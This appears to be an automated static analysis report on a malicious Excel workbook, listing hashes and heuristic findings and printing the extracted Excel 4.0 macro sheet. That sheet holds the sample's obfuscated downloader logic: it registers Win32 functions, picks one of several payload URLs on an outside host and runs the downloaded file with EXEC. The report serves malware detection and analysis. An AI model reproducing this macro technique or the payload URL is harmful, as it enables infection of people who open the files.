Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ccbf7dd1cc2b8db8…

MALICIOUS

Office (OOXML)

24.9 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-01-23
MD5: 11cb3a4211fdd6a799f02522d63f05b0 SHA-1: c70cc2dede206cea32abee0427b076400088a65a SHA-256: ccbf7dd1cc2b8db84dff319db30203894015cd1673ed1793afa0f4e9c8138cf7
190 Risk Score

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, EXEC, RETURN, REGISTER, RUN, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4872 bytes
SHA-256: 21d8c550b12c2c2883ded91c83c9d0d541f76b29de305d11c828ec9bd4efd475
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A150:D176"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="2"/></cols><sheetData><row r="150" spans="1:4" x14ac:dyDescent="0.25"><c r="B150" s="3"/></row><row r="151" spans="1:4" x14ac:dyDescent="0.25"><c r="B151" s="3"/></row><row r="152" spans="1:4" x14ac:dyDescent="0.25"><c r="B152" s="3"/></row><row r="153" spans="1:4" x14ac:dyDescent="0.25"><c r="B153" s="3"/></row><row r="154" spans="1:4" x14ac:dyDescent="0.25"><c r="A154" s="2" t="b"><f>B154()</f><v>0</v></c><c r="B154" s="2" t="b"><f>FORMULA.FILL(Ast!U54&amp;Ast!U55&amp;Ast!U56&amp;Ast!U57&amp;Ast!U58&amp;Ast!U59,BB53)</f><v>0</v></c><c r="C154" s="2" t="b"><f>FORMULA.FILL("INSENG",HI18807)</f><v>0</v></c><c r="D154" s="2" t="b"><f>EXEC("r"&amp;Ast!AC60&amp;" "&amp;Ast!AC59&amp;HG9961)</f><v>0</v></c></row><row r="155" spans="1:4" x14ac:dyDescent="0.25"><c r="B155" s="2" t="b"><f>B156()</f><v>0</v></c><c r="C155" s="2" t="b"><f>C156()</f><v>0</v></c><c r="D155" s="2" t="b"><f>RETURN(A166)</f><v>0</v></c></row><row r="156" spans="1:4" x14ac:dyDescent="0.25"><c r="B156" s="2" t="b"><f>FORMULA.FILL(Ast!V53&amp;Ast!V54&amp;Ast!V55&amp;Ast!V56&amp;Ast!V57&amp;Ast!V58&amp;Ast!V59&amp;Ast!V60&amp;Ast!V61&amp;Ast!V62&amp;Ast!V63&amp;Ast!V64&amp;Ast!V65&amp;Ast!V66&amp;Ast!V67&amp;Ast!V68&amp;Ast!V69&amp;Ast!V70,HZ48004)</f><v>0</v></c><c r="C156" s="2" t="b"><f>FORMULA.FILL(Ast!AC57,AN32726)</f><v>0</v></c></row><row r="157" spans="1:4" x14ac:dyDescent="0.25"><c r="B157" s="2" t="b"><f>B158()</f><v>0</v></c><c r="C157" s="2" t="b"><f>C158()</f><v>0</v></c></row><row r="158" spans="1:4" x14ac:dyDescent="0.25"><c r="A158" s="2" t="b"><f>REGISTER(BB53,HZ48004,HI18898,IK4106,,1,9)</f><v>0</v></c><c r="B158" s="2" t="b"><f>FORMULA.FILL(Ast!U62&amp;Ast!U63&amp;Ast!U64&amp;Ast!U65&amp;Ast!U66&amp;Ast!U67,HI18898)</f><v>0</v></c><c r="C158" s="2" t="b"><f>FORMULA.FILL("BCCJ",IK16309)</f><v>0</v></c></row><row r="159" spans="1:4" x14ac:dyDescent="0.25"><c r="A159" s="2" t="e"><f>Niokaser(0,GT17028,AQ4875,0,0)</f><v>#NAME?</v></c><c r="B159" s="2" t="b"><f>B160()</f><v>0</v></c><c r="C159" s="2" t="b"><f>C160()</f><v>0</v></c></row><row r="160" spans="1:4" x14ac:dyDescent="0.25"><c r="B160" s="2" t="b"><f>FORMULA.FILL(Ast!AC58&amp;B169,GT17028)</f><v>0</v></c><c r="C160" s="2" t="b"><f>FORMULA.FILL("Niokaser",IK4106)</f><v>0</v></c></row><row r="161" spans="1:3" x14ac:dyDescent="0.25"><c r="A161" s="2" t="b"><f>REGISTER(HI18807,AN32726,IK16309,DI7875,,1,9)</f><v>0</v></c><c r="B161" s="2" t="b"><f>B162()</f><v>0</v></c><c r="C161" s="2" t="b"><f>C162()</f><v>0</v></c></row><row r="162" spans="1:3" x14ac:dyDescent="0.25"><c r="A162" s="2" t="e"><f>Vuolasd(GT17028,AQ4875,1)</f><v>#NAME?</v></c><c r="B162" s="2" t="b"><f>FORMULA.FILL(Ast!AC59,AQ4875)</f><v>0</v></c><c r="C162" s="2" t="b"><f>FORMULA.FILL("Vuolasd",DI7875)</f><v>0</v></c></row><row r="163" spans="1:3" x14ac:dyDescent="0.25"><c r="B163" s="2" t="b"><f>FORMULA.FILL(Ast!AC60,AS41071)</f><v>0</v></c><c r="C163" s="2" t="b"><f>A158()</f><v>0</v></c></row><row r="164" spans="1:3" x14ac:dyDescent="0.25"><c r="A164" s="2" t="b"><f>RUN(D154)</f><v>0</v></c><c r="B164" s="2" t="b"><f>B165()</f><v>0</v></c></row><row r="165" spans="1:3" x14ac:dyDescent="0.25"><c r="B165" s="2" t="b"><f>FORMULA.FILL(Ast!AC61,HG9961)</f><v>0</v></c></row><row r="166" spans="1:3" x14ac:dyDescent="0.25"><c r="B166" s="2" t="b"><f>C154()</f><v>0</v></c></row><row r="167" spans="1:3" x14ac:dyDescent="0.25"><c r="A167" s="2" t="b"><f>HALT()</f><v>0</v></c></row><row r="169" spans="1:3" x14ac:dyDescent="0.25"><c r="B169" s="2" t="str"><f>INDEX(B172:B176,RANDBETWEEN(1,5))</f><v>senzo-conseil-expat.fr/bqkckb/5555555555.jpg</v></c></row><row r="172" spans="1:3" x14ac:dyDescent="0.25"><c r="B172" s="2" t="s"><v>18</v></c></row><row r="173" spans="1:3" x14ac:dyDescent="0.25"><c r="B173" s="2" t="s"><v>19</v></c></row><row r="174" spans="1:3" x14ac:dyDescent="0.25"><c r="B174" s="2" t="s"><v>20</v></c></row><row r="175" spans="1:3" x14ac:dyDescent="0.25"><c r="B175" s="2" t="s"><v>21</v></c></row><row r="176" spans="1:3" x14ac:dyDescent="0.25"><c r="B176" s="2" t="s"><v>22</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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